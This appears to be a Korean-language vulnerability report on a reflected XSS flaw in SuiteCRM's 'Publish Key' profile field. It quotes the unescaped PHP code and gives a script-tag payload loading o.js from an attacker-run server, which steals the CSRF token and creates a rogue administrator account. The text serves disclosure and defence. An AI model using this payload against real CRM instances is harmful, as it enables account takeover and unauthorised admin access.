
SuiteCRM의 보안 취약점으로, CSRF 토큰을 탈취하여 적절한 인증 없이 새로운 관리자 사용자를 생성하는 등의 무단 작업을 수행할 수 있습니다.
SuiteCRM의 프로필 편집 페이지에 있는 'Publish Key' 필드는 반사형 크로스 사이트 스크립팅(Reflected XSS)에 취약하여, 공격자가 악성 JavaScript 코드를 주입할 수 있습니다. 이를 이용해 CSRF 토큰을 탈취하고 적절한 인증 없이 새로운 관리 사용자를 생성하는 등 무단 작업을 수행할 수 있습니다.
이 취약점은 SuiteCRM 애플리케이션 내의 Publish Key 필드에 대한 입력 검증 및 이스케이프 처리(새니타이제이션)가 불충분하여 발생합니다. 공격자가 악성 스크립트를 주입하면, 해당 스크립트는 인증된 사용자의 세션 컨텍스트 내에서 실행됩니다. 주입된 스크립트(o.js)는 탈취한 CSRF 토큰을 활용하여 새로운 관리 사용자를 생성하는 요청을 위조함으로써 CRM 인스턴스의 무결성과 보안을 효과적으로 손상시킵니다.
이 취약점은 심각한 크로스 사이트 스크립팅(XSS) 문제입니다. 그 영향은 다음과 같습니다:
$publish_key = $this->bean->getPreference('calendar_publish_key');
$this->ss->assign('CALENDAR_PUBLISH_KEY', $publish_key);
$publish_url = $sugar_config['site_url'] . '/vcal_server.php';
$token = "/";
$publish_url .= $token . "type=vfb&source=outlook&key=<span id=\"cal_pub_key_span\">$publish_key</span>";
$ical_url = $sugar_config['site_url'] . "/ical_server.php?type=ics&key=<span id=\"ical_pub_key_span\">$publish_key</span>";
$this->ss->assign("CALENDAR_PUBLISH_URL", $publish_url);
$this->ss->assign("CALENDAR_ICAL_URL", $ical_url);
<script src=//localhost:1235/o.js>
o.js가 로컬호스트의 1235 포트에서 서빙되도록 하고, 제공된 JavaScript 코드 스니펫에 설명된 익스플로잇 코드를 제공하는 서버를 설정합니다.o.js 스크립트가 실행되어 CSRF 토큰을 탈취하고 이를 사용하여 다음 자격 증명을 가진 새로운 관리 사용자를 생성합니다.Username - imposter
Password - ok
https://github.com/user-attachments/assets/cdf96f3d-7f61-4371-818b-e344efdcd197